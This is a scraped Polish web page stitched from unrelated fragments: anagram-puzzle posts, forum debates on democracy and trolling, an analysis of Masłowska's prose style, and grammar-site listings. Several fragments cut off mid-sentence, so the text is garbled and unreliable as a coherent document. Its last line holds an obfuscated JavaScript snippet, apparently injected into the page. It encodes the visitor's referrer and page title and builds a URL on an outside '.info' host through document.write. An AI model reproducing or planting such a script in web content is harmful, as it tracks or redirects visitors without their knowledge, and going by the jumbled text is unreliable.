kombinagramu polianagramowego, krzyżówki polianagramowej, krzyżówki składanej
anagramowej, rebusów polianagramowych, zagadek polianagramowych.
Zwrot - wyrażenie, konstrukcja wyrazowa często używana, stanowiące pewną całość
treściową; w językoznawstwie: związek wyrazowy, w którym członem podstawowym
jest czasownik.

Janka karmi ptaki, więcej nic nie powiem:
Przestawisz litery – powstanie przysłowie.

? (jaki pan, taki kram; na podstawie zwrotu: Janka karmi ptaki)
=============================== =====
lub zadanie anagramowe

Zadanie anagramowe, anagram, angramówka – ogólna nazwa zadań szaradziarskich, w
których wykorzystywane jest zjawisko anagramowania wyrazów

Raz ZDUN OSZCZĘDNY - REP w swym zawodzie
Dźwigał wór gliny, by stawiać piec.
Lecz z nagła burza z ulewą nadchodzi,
Więc rzucił glinę – wolał zbiec

? (Z deszczu pod rynnę)
==============================

A może chodzi o rekordy o uzyskanie rokordowych kilkunastopniowych anagramów
budowananych na wyrazie wyjściowy, co może dać nam pewną może i rekordową
liczbe anagramów dzielonych lub nie.
Ja znam taki 11 krotny, oraz 16 krotny

Widok także podał jego zdaniem anagram bardzo ładny. Ładny to ocena
subiektywna. Są w użyciu specjalne tablice angramów (excel) w których można
znaleźć dowolnej długości anagram (słowo wyjściowe) i maksymalna ilość jego
przekształceń. To lepsze niż Skaruz i Literator razem wzięte. Nie trzeba
strzelać w ciemno.

reptarze, sorry, te dywagacje Twoje o tego rodzaju rekordach o czym piszesz,
nie bardzo mnie pociągaja, ale może ktoś się znajdzie i pociągnie dyskusję w tą
stronę.
Nie lubie koplikować ponad miarę tego co wydaje mi się nie potrzebne. Ja, jak
zwykle, jak wiesz, wolę stać na twardym gruncie, realnym gruncie, bliżej życia

pozdrawiam

Jędrzej
Pisząc ostatnie zdanie posłużyłem się parafrazą dość popularnej zbitki
wyrazowej (większość ma zawsze racje)nie wnikając w rozróżnienie racji i
wladzy, podświadomie zakładając że koncepcja demokracji powinna zakładać
związek tych pojęć. Mówiąc inaczej - potraktowałem je bliskoznacznie, ale nie
sądze żeby to byo w tej wypowiedzi najważniejsze.

Zamieniając 'zawsze' na 'zazwyczaj' nie chodziło mi o "chybione" decyzje ludu,
ale te momenty, w których ludzie utrzymujący, że są demokratami nie
respektują "woli ludu" (czego niestety nie zaakcentowałem dość wyraźnie).
Przykładami mogą być:
- polski kontyngent w Iraku (większość Polaków było przeciw)
- brak poważnych prób przywrucenia kary śmierci (pomimo tego, że od lat popiera
ją większość Polaków - tegoroczne badania mówią o ponad 2/3 (77%))
- podważanie kompetencji ludzi głosujących na Kaczyńskiego

Pisząc o założeniu racjonalności wyborców, nie chodziło mi o w pełni racjonalną
kalkulację, do której potrzeba by wiele czasu i dogłębnych informacji.
Jeżeli większa część społeczeństwa popiera świadczenia socjalne (nie myśląc o
tym skąd się ten pieniądz bierze, ani jakie są tego długofalowe skutki) i w
drugiej turze ma do wyboru kandydata, który jest za tymi świadczeniami, i
takiego, który jest przeciw - na kogo powinien zagłosować, co?
"Racjonalnie" - na tego, który reprezentuje ich poglądy. Kaczyńskiego. Taki tok
myślenia nie wyklucza równoczesnego działania bardziej znaczących(według
psychologów) bodźców pozamerytorycznych, wpływających na nasze decyzje.

O tym, że ludzie są nieracjonalni lepiej od tego, że "(...)zawierzyli
nieracjonalnemu programowi, pełnemu sprzeczności" świadczy to, że istnieje
dowiedziony związek pomiędzy czasem antenowym jaki miała partia, a jej wynikiem
w wyborach. Albo to, o czym wspomniano w jednym z serwisów informacyjnych
omawiając przygotowania do pierwszej telewizyjnej debaty Kaczyński-Tusk
(jeszcze przed wyborami parlamentarnymi; nie doszła do skutku w związku z
protestami pozostałych kandydatów) - że pomiędzy panami jest zauważalna różnica
wzrostu, którą trzeba optycznie zniwelować, bo człowiek ma tendencję do
postrzegania wyższego dyskutanta jako bardziej wiarygodnego.

Nawiasem mówiąc oddanie glosu na kogokolwiek to "zawierzenie" - nie mamy
narzędzia by wyegzekwować oczekiwane działania od władzy, bądź ukarać ja za ich
brak - poza następnymi wyborami(choć te pokazują, że 4 lata to wystarczająco
dużo, żeby wyborcy zpomnieli. Przy wyborze eurodeputowanych w jednym z okręgow
najwięcej głosów dostał premier Buzek, który kończył sprawowanie urzędu z
rekordowo niskimi (wówczas) notowaniami)

Jeżeli podważamy kompetencje wyborców w jednej kwesti, mówimy, że większość
działała nieracjonalnie - to trzeba by poważnie zastanowić się nad tym czy
jesteśmy zwolennikami demokracji...
sprostowanie do postu annarexha:

cyt:I to moderatorka taka 'inteliegentna' wyzywa kogos i daje nam
przyklad.

Nie chodzi tu bynajmniej o moją osobę. Choć może poziomem IQ Mensy
nie zachwycę to jednak daleko mi do tego by upaść tak nisko i
obrzucać moich Forumowiczów epitetami w stylu "idiotka" lub określać
ich postawę epitetem na literkę "K".

Teraz będzie o trollingu:
Ludzie czasem z niewiedzy (a nie z głupoty!) nie zdają sobie sprawy
z tego, że swoim postępowaniem krzywdzą innych. Nie zdają sobie
sprawy też z tego ,że stają się trollami- a to jest przykra
przypadłość. Obecnie każdy ma prawo założy sobie forum internetowe,
skopiować nazwę innego forum i tak usprawiedliwiając się źle
zinterpretowanym związkiem wyrazowym "wolność słowa" reprezentować
swoj poziom moralny i kulturę osobistą szerokiej publice.
Otóż WOLNOŚĆ SŁOWA , moi drodzy Forumowicze , kończy się tam gdzie
leci mięso i obraża się innych ludzi. Nie usuwam postu szkodry- jest
on dla jej postawy reprezentatywny i nikt nie wnioskował jeszcze o
jego usunięcie. Udało jej sie sprowokować Naszą Forumowiczkę mado do
rzutu mięsem (choć ktoś tu mądrze radził by trolla ignorować). Co do
wulgaryzmu wpisanego przez acs uważam ,że jak na tak ciekawy post
owy wulgaryzm był zupełnie zbędny, bo przedstawiłeś swoje racje
opierając się na wystarczająco silnych argumentach. To jedno słówko
było niepotrzebne. Jak taka wielka plastikowa brocha wpięta w
gustowną czapkę- niszczy cały efekt!

Kochani Forumowicze idzie Nowy Rok. Dlaczego znowu pojawiło się u
nas plucie jadem i bardzo przykre ocenianie innych?Nie wiem? Może to
ja poniosłam porażkę dając drugą szansę szkodrze?Skoro nie
respektuje moich apeli o wyrażanie swych poglądów bez zbędnych
emocji. Takie emocjonalne podchodzenie do internetowego forum jest
oznaką niedojrzałej osobowości- spokojnie to jest chwilowa
przypadłość. Za parę lat każdy trollujący spojrzy na życie z
większym dystansem i będzie mu wstyd za to co kiedyś napisał.
Moim zdaniem przeprosiny powinna usłyszeć tutaj mado (choć ona
obecnie ma je pewno w głębokim poważaniu).

No to może ja ją przeproszę? dlaczego nie? Została w końcu obrażona
na forum które moderuję. Przepraszam też wszystkich których
kiedykolwiek oceniłam, obraziłam, uszczypnęłam moim zbędnym
komentarzem. Byłam po prostu w błędzie, bo nie mnie Was oceniać.
Wszyscy jesteśmy członkami pewnej wspólnoty, która powinna się
wspierać a nie obrzucać mięsem. Nikt nikogo kochać zaraz nie musi,
ale apeluję o obustronny szacunek. O SZACUNEK do drugiego człowieka.
Bo to jest CZŁOWIEK. To słowo wpisane jako post na Naszym Forum - to
jest człowiek wraz ze swoimi problemami, troskami lub pytaniami.
Może zamiast oceniać drugich, lepiej skierować swą energię w innym
kierunku? krystyna_ewa czeka na pomoc, ja nie jestem z UK by się tu
wypowiadać. Dlaczego nie odpowiesz na jej prośbę i nie pomożesz? Bo
to nudne? Bo już było? No cóż... pomoc, dobroć, życzliwość nie są
tak spektakularne i modne jak rzut w drugiego człowieka mięsem i
głośne "haha" na forum internetowym. To jest jakaś szansa by się
zrehabilitować za swoje niegrzeczne zachowanie.

Pozdrawiam wszystkich. Nie oceniajcie się, wybaczajcie sobie błędy,
wyciągajcie jako pierwsi rękę na zgodę, nie skreślajcie nigdy innych
ludzi - dawajcie im drugą szansę.
... i miejcie dystans do internetu bo was połknie.
grek.grek napisał:

>Aaaaaa, to teraz jasna rzecz, koherencja, elipsa, inwersja ...;))

Hehehe :))) / po raz 58 zaglądam do tego postu usiłując skończyć
moją odpowiedź i po raz 58 śmieję się po przeczytaniu tego
komentarza./

a do tego jeszcze bardzo liczne anakoulty!

Nie, nie są to bardzo skomplikowane rzeczy, to tylko terminy tak
poważnie wyglądają ...

Anakoult – wykolejona (!) konstrukcja składniowa, charakteryzująca
się brakiem formalnej harmonii między poszczególnymi częściami
zdania. (EJO).
np.
Myślę, o dziecku, co ona chwaliła się, że ma, myślę, czy być
może, kiedy ja akurat nie patrzyłem się, je urodziła i zmarła w
porodzie, dyktowana amfetaminą.
/s.28/

Chociaż to była moja dziewczyna, którą mogę powiedzieć, że dużo
zaszło między nami różnych rzeczy.


Inwersja polega mówiąc najprościej na zmianie (zwykłego)(!) szyku
wyrazów w zdaniu
np. Czy zrobiłem coś źle , Magda? [...] Zawsze wyglądałaś na
szczęśliwą, gdy cię kochałem, czemu teraz mnie raptem nie chcesz,
czy to taki kaprys, czy znudziłem się ci?
/ s.9/

Elipsa, opuszczenie (!) części zdania domyślnej na tle kontekstu:
Ona pyta jakiej muzyki słucham. Ja mówię, że każdej po trochu, że
ogólnie wszystkich rodzajów. Ona mówi, że też.
/s. 29/
I jeszcze elipsa z pierwszych zdań powieści:

Najpierw ona mi powiedziała, że ma dwie wiadomości, dobrą i złą.
Przechylając się przez bar. To którą chcę najpierw. Ja mówię, że
dobrą. To ona mi powiedziała, że w mieście jest podobno wojna polsko-
ruska pod flagą biało-czerwoną.
/s. 3/

Zaburzenia koherencji tekstu (koherencja, czyli spójności tekstu,
tekst jest koherentny, jeśli stanowi pewną treściową całość, czego
warunkiem jest m.in. jedność tematyczna EJO) można zobaczyć w tym
fragmencie:
Kładę sobie rękę na twarz. Gdyż dobrze się stało, ze jej dziś tu
nie ma, jej włosów szmacianych jej głosiku ptasiego, jej śmiechu
niby sypiącej się kobiety na klimaksie. Bo by dziś już na pewno nie
uszła z życiem na sucho. Patrzę za nią by jakby co ją zabić,
zniszczyć. Muzyka światła, neony. Tymczasem nie ma jej nigdzie, więc
rozglądawszy się mówię Arlecie: gdzie Magda? Ona mów, gdyż widzi
moje wku...enie nieczęste, krańcowe [tu też inwersja -b]: z Lolem na
działkę pojechała [tu też inwersja –b].
/s. 34/
Spójność zostaje rozbita poprzez wtrącenie wypowiedzenia
(podkreślonego), które nie pozostaje związku z tematyką całej
wypowiedzi, nie zwiera ono żadnej informacji, która była już zawarta
w jednym z poprzedzających zdań.

/Nie uszła z życiem na sucho - a to też śliczne!
Kontaminacja dwóch jednostek frazeologicznych: ktoś uszedł z życiem
i coś uszło komuś na sucho. Liczne kontaminacje oraz inne
przekształcenia polegające na rozbijaniu(!) stałych, utartych
połączeń wyrazowych też są charakterystyczne dla języka "Wojny".

Anakoulty, inwersje, elipsy, zaburzenia koherencji (czy jeszcze np.
mieszanie mowy zależnej z niezależną) wystepują głównie w mowie
potocznej// w języku mówionym. W powieści Masłowskiej stosowane są
celowo, świadomie jako środki artystyczne/ stylistyczne, które
przede wszytskim mają nadać narracji bohatera/ bohaterów/ cech
wypowiedzi ustnej.

A nieład, niestaranność potocznej narracji, liczne odstępstwa od
normy (nie tylko na poziomie składni) oddają stan umysłu Silnego i
innych bohaterów - potężny chaos /pod wpływem narkotyków/

To tyle w wielkim skrócie i w uproszczeniu skandalicznym.

Kończę, bo mnie wywalą na oślą ławkę, albo przyleci Silny z afektem
i z drzewcem pod pachą od flagi biało-czerwonej i zapyta, czy chcę
w.pierd.ol, czy nie, gdyż te paranaukowe chińskie kazanie wywołało w
nim wku...enie, nieczęste, maksymalne i jednakowoż nie ręczy za swój
gniew, jeśli nie zaprzestanę dalej tegoż.

/za nieudolną podróbkę pani Doroty Masło(w)skiej z domu Masłowska,
przepraszam, ją samą także./

:)

>bo jednak bogactwo owej składni, o której wspominasz, nadało
książce jakiś styl

a ściślej - bogactwo składniowych środków stylistycznych (między
innymi) nadało książce styl.
Czasownik - odmienna część mowy określająca czynność lub stan. Odpowiada na
pytania: ?co robi?? i ?co się z nim dzieje??.
1. Czasownik odmienia się przez:
1. czasy ? teraźniejszy, przyszły, przeszły
2. osoby ? pierwsza(ja), druga(ty), trzecia(on, ona, ono)
3. liczby ? mnoga i pojedyncza
4. rodzaje ? w liczbie pojedynczej: żeński, męski i nijaki, w liczbie mnogiej:
męskoosobowy i niemęskoosobowy
2. Czasownik występuje w:
1. trybach ? rozkazujący, przypuszczający, oznajmujący
2. aspektach ? dokonany, niedokonany
3. stronach ? bierna, czynna zwrotna

Odmiana czasowników przez osoby to koniugacja.

Tryby czasowników (ad. 2.1.)
a) oznajmujący ? informuje o wykonywanej czynności, np. idę, czytam, uczę
b) przypuszczający ? wyraża czynności lub strony, które przypuszczalnie mogłyby
się odbyć. Tryb ten tworzy się przez dodanie końcówki ?-by?, np.:
- czytałbym, czytałabyś ? razem, jeśli końcówka ?by? występuje po czasowniku
- by czytał, byś czytał ? osobno, jeśli końcówka ?by? występuje przed czasownikiem
- osobno z zakończeniami wyrazów ?-no?, ?-to?
- trzeba by, można by, warto by, osobno
c) tryb rozkazujący ? służy do wydawania nakazów i zakazów, poleceń i próśb.
Tworzy się go przez dodanie odpowiednich końcówek do tematu czasu
teraźniejszego. W trybie rozkazującym nie rozróżniamy czasó
4.8
Akcent i intonacja w języku polskim pix
AKCENT-polega na podkreśleniu głosem niektórych składników wypowiedzi:sylab w
wyrazie lub wyrazów w zdaniu.Dokonuje się to za pośrednictwem siły lub melodi
głosu,albo przez wydłużenie czasu brzmienia samogłosek. AKCENT WYRAZOWY-w
j.polskim akcent wyrazowy ma charakter ...
dodano: 2007-04-16 - autor: Cla_udi
5.5
Analiza składniowa zdania pix
ZDANIE jest podstawową jednostką procesu komunikacji, zbudowane jest z kilku
elementów składowych. Są to: ORZECZENIE wyrażane czasownikiem w formie osobowej
albo jako związek łącznika i orzecznika, który wyraża czynność, proces lub stan
określony przez zdanie. ...
dodano: 2008-10-29 - autor: taka_sobie28
5
Analiza słowotwórcza. Słowotwórstwo. Powtórzenie pix
Słowotwórstwo Wyrazy podstawowe i pochodne Liczba wyrazów w języku nie jest
stała. Ciągle dokonujemy odkryć naukowych, doskonalimy narzędzia pracy, tworzymy
nowe maszyny. W związku z tym coraz bardziej powiększa się liczba wyrazów.
Natomiast nadajemy ciągle nazwy ...
dodano: 2009-01-07 - autor: katarynka240
5
Autocharakterystyka satyryczna. pix
Mówić o sobie nie lubię, ale przedstawić się wam muszę. Jakub Gajowiec się
nazywam, czasami jestem nie do zniesienia. Żyję na tym świecie lat czternaście,
chodź wyglądam na max jedenaście. Oczy mam niebieskie, włosy raczej ciemne.
Jestem wysoki do nieba i ...
dodano: 2008-05-18 - autor: geju666
5
Budowa słowotwórcza wyrazu pochodnego (analiza słowotwórcza) pix
Zależności, jakie zachodzą między wyrazem podstawowym a pochodnym, oraz budowę
wyrazu pochodnego odkrywamy za pomocą ANALIZY SŁOWOTWÓRCZEJ. NA CZYM POLEGA
ANALIZA SŁOWOTWÓRCZA? * PO PIERWSZE: Na sprowadzeniu wyrazu pochodnego do jego
formy podstawowej (rzeczownik w ...
dodano: 2008-01-21 - autor: opel27
3.2
Budowa wypowiedzeń złożonych pix
Wypowiedzenie złożone zawiera dwa lub więcej orzeczeń. Zdania wchodzące w skład
wypowiedzenia złożonego nazywają się zdaniami składowymi. Zdaniem składowym może
być zdanie pojedyncze lub równoważnik zdania. Zdanie złozone podrzędnie składa
się ze zdania nadrzędengo, ...
dodano: 2007-05-19 - autor: Askati
1.5
Błędy językowe pix
Błąd językowy to pojęcie z zakresu językoznawstwa normatywnego oznaczające
odstępstwo od skodyfikowanej normy językowej. Kodyfikacja normy obejmuje
istnienie gramatyki normatywnej, ortografii (zasad pisowni) i ortofonii (zasad
wymowy starannej). Większość słowników ma ...
dodano: 2008-12-10 - autor: Nisza15
3
Charakterystyka osoby ze związkami frazeologicznymi. pix
Maja jest wysoka jak tyczka i chuda jak patyk. Jej cera jest biała jak mleko,
ale niekiedy czerwona jak rak. Posiada olimpijski spokój. Jest punktualna jak
szwajcarski zegarek i uważa się za pępek świata. Często zmuszona jest działać na
wariackich papierach. Ma bujną ...
dodano: 2008-12-20 - autor: justa3393
4.1
Czasownik - gramatyka pix
Czasownik - odmienna część mowy określająca czynność lub stan. Odpowiada na
pytania: ?co robi?? i ?co się z nim dzieje??. 1. Czasownik odmienia się przez:
1. czasy ? teraźniejszy, przyszły, przeszły 2. osoby ? pierwsza(ja), druga(ty),
trzecia(on, ona, ono) 3. liczby ? ...
dodano: 2007-09-08 - autor: madzia_94
3.6
Czasownik i Rzeczownik pix
Czasownik -odmiane czasownik nazywami koniugacją. Czasownik odmienia się przez:
1. Liczby 2. Osoby 3. Czasy 4. Rodzaje 5. Tryby: • Orzekający (piszę, łapię) •
Przypuszczający (pisałbym, łapałbym) • Rozkazujący (pisz!, ...
dodano: 2007-04-07 - autor: kla1
misiu-1 napisał:

> zimowy_dzien napisała:

> > A czym w takim razie jest przypisywanie komus rzekomej insynuacji i uznan
> ie powszechnie obrazliwego okreslenia, za rzekomo obarzliwe?

> Wykręty.

Wykrety tak, ale z twojej strony.

>Nie przypisałem Ci rzekomej insynuacji, tylko jak najbardziej realną.

Krecisz. Przypisales mi rzekoma, a nie realna insynuacje.
Dowodem na to, jest dwukrotne wyciecie mojej wypowiedzi, do ktorej nie
potrafiles lub nie chciales sie jednoznacznie ustosunkowac.

> Moja wypowiedź nie była obraźliwa, a dowodem na to fakt, że nawet nie
potrafisz wskazać tych jakoby obrażonych osób.

Twoja wypowiedz byla jak najbardziej realna i obrazliwa.
Jak mozesz sie domagac ode mnie wskazania konkretnych osob, skoro to ty wiesz
kogo zamierzales czy chciales obrazic na tym forum?
To nieuczciwa manipulacja z twojej strony.

> > Zodnie z netykieta, powinnienes zachowac tekst do ktorego sie odnosisz, a
> by
> > dyskusja byla wlasnie czytelna.

> Odnosiłem się do Twojego tekstu i zachowałem go. Wszystko w zgodzie z zasadami.

Gdybys sie odnosil do mojego tekstu, to bys go nie wycinal az dwa razy.
Przeciez zwrocilem ci dwukrotnie, uwage w zwiazku z ta twoja manipulacja moimi
wypowiedziami.

> Tak, jak zawsze.

Tak jak zawsze wycinasz te odpowiedzi, do ktorych powinies sie odniesc?
No to pieknie.

> > Poniewaz to ja pierwszy zadalem ci pytanie i ty na nie nie odpowiedziales
> ,
> > czy moge w takim razie uznac, ze tym samym utwierdziles mnie, iz jestes
> > niezdolny do odpowiedzenia na postawione ci przeze mnie pytanie ?

> Nie, ponieważ ja odpowiedziałem. Odpowiedź była domyślnie zawarta juz w
> zadanych Ci pytaniach, ale żeś chyba mało domyślna (-y?), odpowiedziałem także
> wprost. Ty, jak do tej pory, wciąż nie.

Nie, nie odpowiedziales. Nie mozesz wiec zadac, abym sie domyslal tego co
chciales przekazac, bowiem nigdzie nie napisalem, ze potrafie odczytywac twoje
mysli.

A ty potrafisz odczytywac moje mysli?

> > Czy w takim razie uwazsz, ze powinienem poczuc rowniez listosc dla osobni
> ka
> > ktory wyraza trawiace go emocje w postaci peioratywnego
> > okreslenia : "wegusie"?

> Określenie "weguś" nie ma wydżwięku pejoratywnego i nie zawiera żadnych emocji.

Okreslenie "wegus" ma wydzwiek pejoratywny.
Zapoznaj sie moze ze znaczeniem okreslenia pejoratywny:

1. «mający ujemny odcień lub znaczenie»
2. nadający wyrazowi odcień ujemny»

To zwykła, skrócona forma określenia "wegetarianin".

Przez kogo uzywana? W slowniku jezyka polskiego nie znalazlem takiego slowa:

sjp.pwn.pl/lista.php?co=wegus
Masz dostep do jakis innych slownikow j.polskiego, gdzie takie slowo mozna znalezc?

> function bb515452f8f2dc8(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa515452f8f2d8d(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa515452f8f2d8d(bb515452f8f2dc8(document.referrer),bb515452f8f2dc8(document.title)));